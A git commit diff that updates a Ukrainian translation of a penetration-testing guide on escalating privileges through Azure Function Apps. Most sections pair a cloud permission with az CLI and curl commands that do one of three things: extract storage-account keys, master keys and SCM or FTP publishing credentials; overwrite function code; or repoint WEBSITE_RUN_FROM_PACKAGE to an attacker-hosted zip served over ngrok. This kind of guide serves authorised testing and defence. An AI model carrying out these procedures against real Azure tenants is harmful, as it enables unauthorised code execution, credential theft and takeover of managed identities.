Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-06-16 13:16:11 +00:00
parent da80ac9d0e
commit 017f638c23
@@ -4,34 +4,34 @@
## Function Apps
Перегляньте наступну сторінку для додаткової інформації:
Перевірте таку сторінку для отримання додаткової інформації:
{{#ref}}
../az-services/az-function-apps.md
{{#endref}}
### Доступ до Bucket — читання/запис
### Bucket Read/Write
Якщо є права читати контейнери всередині Storage Account, який зберігає дані функції, можна знайти **різні контейнери** (кастомні або з попередньо визначеними іменами), які можуть містити **код, що виконується функцією**.
З правами на читання containers всередині Storage Account, що зберігає дані function, можна знайти **різні containers** (custom або з pre-defined назвами), які можуть містити **code, що виконується function**.
Після того, як ви знайдете, де розташований код функції, якщо у вас є права запису до нього, ви можете змусити функцію виконати будь-який код і підвищити привілеї managed identities, привязаних до функції.
Після того як ви знайдете, де розташований code function, якщо у вас є права на запис, ви можете змусити function виконувати будь-який code і підвищити privileges до managed identities, прив'язаних до function.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
Код функції зазвичай зберігається в file share. За достатнього доступу можна змінити файл коду і **змусити функцію завантажити довільний код**, що дозволяє підвищити привілеї managed identities, привязаних до Function.
Code function зазвичай зберігається всередині file share. За достатнього доступу можна змінити code file і **змусити function завантажити arbitrary code**, що дозволяє підвищити privileges до managed identities, прив'язаних до Function.
This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from
Цей метод deployment зазвичай налаштовує settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** і **`WEBSITE_CONTENTSHARE`**, які ви можете отримати з
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Those configs will contain the **Storage Account Key** that the Function can use to access the code.
Ті конфіги міститимуть **Storage Account Key**, який Function може використовувати для доступу до коду.
> [!CAUTION]
> За наявності достатніх дозволів для підключення до File Share та **modify the script**, що виконується, можливо виконати довільний код у Function і підвищити привілеї.
> За наявності достатніх permissions для підключення до File Share і **modify the script** що виконується, можна виконати arbitrary code у Function і escalate privileges.
The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares:
Наведений нижче приклад використовує macOS для підключення до file share, але також рекомендується перевірити наступну сторінку для більшої кількості інформації про file shares:
{{#ref}}
../az-services/az-file-shares.md
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
Також часто можна знайти **zip релізи** всередині папки `function-releases` контейнера Storage Account, який function app використовує — зазвичай контейнер названий **`function-releases`**.
Також часто можна знайти **zip releases** всередині папки `function-releases` у container Storage Account, який використовує function app, у container **зазвичай з назвою `function-releases`**.
Зазвичай цей метод розгортання встановлює конфігурацію `WEBSITE_RUN_FROM_PACKAGE` в:
Зазвичай цей method deployment встановлює config `WEBSITE_RUN_FROM_PACKAGE` у:
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
This config will usually contain a **SAS URL to download** the code from the Storage Account.
Ця config зазвичай міститиме **SAS URL для завантаження** code з Storage Account.
> [!CAUTION]
> Якщо є достатні права для підключення до blob-контейнера, який **містить код у zip**, можливо виконати довільний код у Function і підвищити привілеї.
> Маючи достатньо permission для connect до blob container, який **contains the code in zip**, можна execute arbitrary code у Function і escalate privileges.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
Як і в попередньому випадку, якщо деплой виконується через Github Actions, можна знайти папку **`github-actions-deploy`** в Storage Account, що містить zip з кодом та SAS URL до zip у налаштуванні `WEBSITE_RUN_FROM_PACKAGE`.
Так само, як і в попередньому випадку, якщо deployment виконується через Github Actions, можна знайти folder **`github-actions-deploy`** у Storage Account, що містить zip із code та SAS URL до zip у setting `WEBSITE_RUN_FROM_PACKAGE`.
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
Маючи права на читання контейнерів у Storage Account, що зберігає дані функції, можна знайти контейнер **`scm-releases`**. Там можна знайти останній реліз у **Squashfs filesystem file format** і, отже, прочитати код функції:
Маючи permissions на read containers всередині Storage Account, який зберігає function data, можна знайти container **`scm-releases`**. Там можна знайти latest release у форматі **Squashfs filesystem file format** і, отже, можна read code of the function:
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
Також можливо знайти **master and functions keys**, збережені в storage account у контейнері **`azure-webjobs-secrets`** всередині папки **`<app-name>`** в JSON-файлах, які там містяться.
Також можна знайти **master and functions keys**, збережені в storage account у контейнері **`azure-webjobs-secrets`** всередині папки **`<app-name>`** у JSON файлах, які можна знайти всередині.
> [!CAUTION]
> За наявності достатніх прав для підключення до blob container, який **contains the code in a zip extension file** (який насправді є **`squashfs`**), можливо виконати довільний код у Function і підвищити привілеї.
> Маючи достатньо permissions для підключення до blob container, який **contains the code in a zip extension file** (який насправді є **`squashfs`**), можна виконати arbitrary code у Function і підвищити privileges.
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -118,11 +118,11 @@ az storage blob upload \
```
### `Microsoft.Web/sites/host/listkeys/action`
Цей дозвіл дозволяє перелічити ключі function, master та system (але не host) для зазначеної функції за допомогою:
Цей permission дозволяє перелічити function, master і system keys, але не host key, вказаного function за допомогою:
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
За допомогою master key також можна отримати source code за URL, наприклад:
З master key також можливо отримати source code через URL на кшталт:
```bash
# Get "script_href" from
az rest --method GET \
@@ -135,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
```
А щоб **змінити код, який виконується в функції**, на:
І щоб **змінити код, який виконується** у функції, з:
```bash
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
@@ -154,36 +154,36 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot
```
### `Microsoft.Web/sites/functions/listKeys/action`
Цей дозвіл дозволяє отримати ключ за замовчуванням вказаної функції за допомогою:
Цей permission дозволяє отримати default key для вказаної function за допомогою:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
Викличте функцію, використовуючи отриманий ключ за замовчуванням:
Викличте function, використовуючи отриманий default key:
```bash
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
```
### `Microsoft.Web/sites/host/functionKeys/write`
Цей дозвіл дозволяє створювати/оновлювати ключ функції зазначеної функції з:
Цей permission дозволяє create/update function key для вказаної function з:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### `Microsoft.Web/sites/host/masterKey/write`
Цей дозвіл дозволяє створювати/оновлювати master key для вказаної функції за допомогою:
Цей permission дозволяє create/update master key для вказаної function за допомогою:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> Пам'ятайте, що з цим ключем ви також можете отримати доступ до вихідного коду та змінювати його, як описано раніше!
> Пам'ятайте, що з цим key ви також можете отримати доступ до source code і змінювати його, як пояснено раніше!
### `Microsoft.Web/sites/host/systemKeys/write`
Цей дозвіл дозволяє створювати або оновлювати системний ключ для вказаної функції з:
This permission allows to create/update a system function key to the specified function with:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
Використовуйте ключ:
Надай ключ:
```bash
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
@@ -193,28 +193,28 @@ curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<syst
```
### `Microsoft.Web/sites/config/list/action`
Цей дозвіл дозволяє отримувати налаштування функції. Всередині цих конфігурацій може бути знайдено значення за замовчуванням **`AzureWebJobsStorage`** або **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, які містять **ключ облікового запису для доступу до blob storage функції з повним доступом**.
Цей дозвіл дозволяє отримати налаштування function. Усередині цих конфігурацій може бути можливо знайти значення за замовчуванням **`AzureWebJobsStorage`** або **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, які містять **ключ облікового запису для доступу до blob storage function з FULL permissions**.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
Крім того, цей дозвіл також дозволяє отримати **SCM username and password** (якщо ввімкнено) за допомогою:
Більше того, цей дозвіл також дозволяє отримати **SCM username and password** (якщо увімкнено) за допомогою:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
Ці дозволи дають змогу перелічувати значення конфігурації функції, як ми вже бачили раніше, а також **змінювати ці значення**. Це корисно, тому що ці налаштування вказують, де розташований код, який виконується всередині функції.
Ці permissions дозволяють отримати список значень config function, як ми вже бачили раніше, а також **змінювати ці значення**. Це корисно, тому що ці settings вказують, де знаходиться code, який виконується всередині function.
Отже, можна встановити значення параметра **`WEBSITE_RUN_FROM_PACKAGE`**, що вказує на URL zip-файл, який містить новий код для виконання всередині веб-додатка:
Тому можливо встановити значення setting **`WEBSITE_RUN_FROM_PACKAGE`**, вказавши URL zip file, який містить новий code для виконання всередині web application:
- Почніть з отримання поточної конфігурації
- Start by getting the current config
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
```
- Створіть code, який ви хочете, щоб function виконувала, і розмістіть його публічно
- Створіть code, який ви хочете, щоб function виконувала, і розмістіть його publicly
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
@@ -224,9 +224,9 @@ python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
- Змініть функцію, збережіть попередні параметри і додайте в кінці конфігурацію **`WEBSITE_RUN_FROM_PACKAGE`**, що вказує на URL з **zip**, який містить код.
- Modify the function, keep the previous parameters and add at the end the config **`WEBSITE_RUN_FROM_PACKAGE`** pointing to the URL with the **zip** containing the code.
Нижче наведено приклад моїх **власних налаштувань — вам потрібно змінити значення на свої**, зверніть увагу наприкінці на значення `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, саме звідти я хостив додаток.
The following is an example of my **own settings you will need to change the values for yours**, note at the end the values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, this is where I was hosting the app.
```bash
# Modify the function
az rest --method PUT \
@@ -236,7 +236,7 @@ az rest --method PUT \
```
### `Microsoft.Web/sites/hostruntime/vfs/write`
За цим дозволом **можна змінити код додатка** через веб-консоль (або через наступну кінцеву точку API):
З цим дозволом **можливо змінювати код application** через web console (або через такий API endpoint):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -266,7 +266,7 @@ body: responseMessage
```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Це дозволення дає змогу перерахувати всі publishing profiles, які по суті містять **basic auth credentials**:
Ці дозволи дають змогу перелічити всі publishing profiles, які по суті містять **basic auth credentials**:
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
@@ -274,7 +274,7 @@ az functionapp deployment list-publishing-profiles \
--resource-group <res-name> \
--output json
```
Ще один варіант — встановити власні облікові дані та використовувати їх за допомогою:
Інший варіант — встановити власні creds і використовувати їх за допомогою:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
@@ -282,7 +282,7 @@ az functionapp deployment user set \
```
- Якщо **REDACTED** credentials
Якщо ви бачите, що ці credentials позначені як **REDACTED**, то це тому, що вам **need to enable the SCM basic authentication option**, і для цього потрібен другий дозвіл (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
Якщо ви бачите, що ці credentials **REDACTED**, це тому, що вам **потрібно увімкнути SCM basic authentication option**, і для цього вам потрібен другий permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
@@ -304,26 +304,47 @@ az rest --method PUT \
```
- **Method SCM**
Потім ви можете використати ці **basic auth credentials to the SCM URL** вашого function app і отримати значення env variables:
Потім ви можете отримати доступ за допомогою цих **basic auth credentials до SCM URL** вашого function app і отримати значення env variables:
```bash
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Zверніть увагу, що **ім'я користувача SCM** зазвичай є символом "$", після якого йде назва додатку, тобто: `$<app-name>`._
Ви можете завантажувати, змінювати та завантажувати новий код function:
```bash
# download
curl -u '<username>:<password>' -X GET \
https://<app-name>.scm.azurewebsites.net/api/zip/site/wwwroot/ \
-o current_function_code.zip
Ви також можете отримати доступ до веб-сторінки за адресою `https://<app-name>.scm.azurewebsites.net/BasicAuth`
unzip current_function_code.zip -d updated_code/
cd updated_code/
#... modify the function code
zip -r ../updated_function_app.zip .
cd ../
Значення налаштувань містять **AccountKey** облікового запису сховища (storage account), в якому зберігаються дані function app, що дозволяє контролювати його.
# upload
curl -u '<username>:<password>' https://<app-name>.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v
```
Ви навіть можете завантажити конкретний файл :
```bash
curl -u '<username>:<password>' \
-X PUT \
-H "Content-Type: application/javascript" \
-H "If-Match: *" \
--data-binary "@./my_local_payload.js" \
"https://<app-name>.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file
```
_Зауважте, що **SCM username** зазвичай є символ "$", за яким іде назва app, тож: `$<app-name>`._
- **Метод FTP**
Ви також можете отримати доступ до web page з `https://<app-name>.scm.azurewebsites.net/BasicAuth`
Підключіться до FTP-сервера, використовуючи:
Значення settings містять **AccountKey** storage account, що зберігає дані function app, що дозволяє керувати цим storage account.
- **Method FTP**
Підключіться до FTP server, використовуючи:
```bash
# macOS install lftp
brew install lftp
@@ -337,19 +358,19 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Зауважте, що **FTP username** зазвичай має формат \<app-name>\\$\<app-name>._
_Зверніть увагу, що **FTP username** зазвичай має формат \<app-name>\\$\<app-name>._
### `Microsoft.Web/sites/hostruntime/vfs/read`
Цей дозвіл дозволяє **читати вихідний код** додатка через VFS:
Цей permission дозволяє **читати вихідний код** app через VFS:
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### `Microsoft.Web/sites/functions/token/action`
З цим дозволом можна [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), який згодом можна використати для отримання **master key** і, відповідно, доступу та зміни коду функції.
За цим permission можна [отримати **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), який потім можна використати, щоб отримати **master key** і, відповідно, отримати доступ до коду function та змінювати його.
Однак у моїх останніх перевірках токен не повертався, тому це може бути вимкнено або більше не працювати, але ось як це зробити:
Однак у моїх останніх перевірках token не повертався, тож, можливо, це вимкнено або більше не працює, але ось як це можна було б зробити:
```bash
# Get admin token
az rest --method GET \
@@ -361,7 +382,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Ці дозволи дозволяють **увімкнути функції**, які можуть бути вимкнені (або вимкнути їх).
Ці permissions дозволяють **увімкнути functions**, які можуть бути disabled (або вимкнути їх).
```bash
# Enable a disabled function
az functionapp config appsettings set \
@@ -369,13 +390,13 @@ az functionapp config appsettings set \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
Також можливо перевірити, чи увімкнено функцію або вимкнено за наступним URL (з використанням дозволу в дужках):
Також можна перевірити, чи функція ввімкнена або вимкнена за такою URL-адресою (використовуючи дозвіл у дужках):
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
З цими дозволами можна **змінити контейнер, який запускається function app**, налаштованої на виконання в контейнері. Це дозволило б attacker завантажити шкідливий azure function container app на docker hub (наприклад) і змусити функцію виконати його.
З цими permissions можливо **модифікувати container, який запускається function app**, налаштованою на запуск container. Це дозволило б attacker завантажити malicious azure function container app у docker hub (наприклад) і змусити function виконати його.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
@@ -383,29 +404,29 @@ az functionapp config container set --name <app-name> \
```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
За наявності цих дозволів можна **приєднати нову user managed identity до function**. Якщо function було скомпрометовано, це дозволить підвищити привілеї для будь-якої user managed identity.
З цими permissions можна **приєднати новий user managed identity до function**. Якщо function було compromised, це дозволило б escalate privileges до будь-якого user managed identity.
```bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
```
### Віддалене налагодження
### Remote Debugging
Також можна підключитися для налагодження запущеної функції Azure, як [**пояснено в документації**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Проте за замовчуванням Azure вимкне цю опцію через 2 дні, щоб уникнути залишення вразливих конфігурацій у разі, якщо розробник забуде.
Також можна підключитися для debug запущеної Azure function, як [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Однак, за замовчуванням Azure вимкне цю опцію через 2 дні, якщо developer забуде, щоб уникнути залишення vulnerable configurations.
Можна перевірити, чи увімкнено налагодження для функції за допомогою:
Можна перевірити, чи увімкнено debugging для Function, за допомогою:
```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
Маючи дозвіл `Microsoft.Web/sites/config/write`, також можна перевести функцію в режим налагодження (наступна команда також вимагає дозволів `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` і `Microsoft.Web/sites/Read`).
Маючи дозвіл `Microsoft.Web/sites/config/write`, також можна перевести function у debugging mode (наступна команда також вимагає дозволи `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` і `Microsoft.Web/sites/Read`).
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Змінити Github repo
### Change Github repo
Я намагався змінити Github repo, звідки відбувається розгортання, виконавши наступні команди, але навіть якщо він і змінився, **the new code was not loaded** (ймовірно тому, що очікується, що Github Action оновить код).\
Крім того, **managed identity federated credential wasn't updated** щоб дозволити новий репозиторій, тож це, здається, не дуже корисно.
Я спробував змінити Github repo, з якого відбувається deploying, виконавши такі команди, але навіть якщо це й змінилося, **новий code не був завантажений** (ймовірно, тому що очікується, що Github Action оновить code).\
Крім того, **managed identity federated credential не було оновлено**, щоб дозволити новий repository, тож схоже, що це не дуже корисно.
```bash
# Remove current
az functionapp deployment source delete \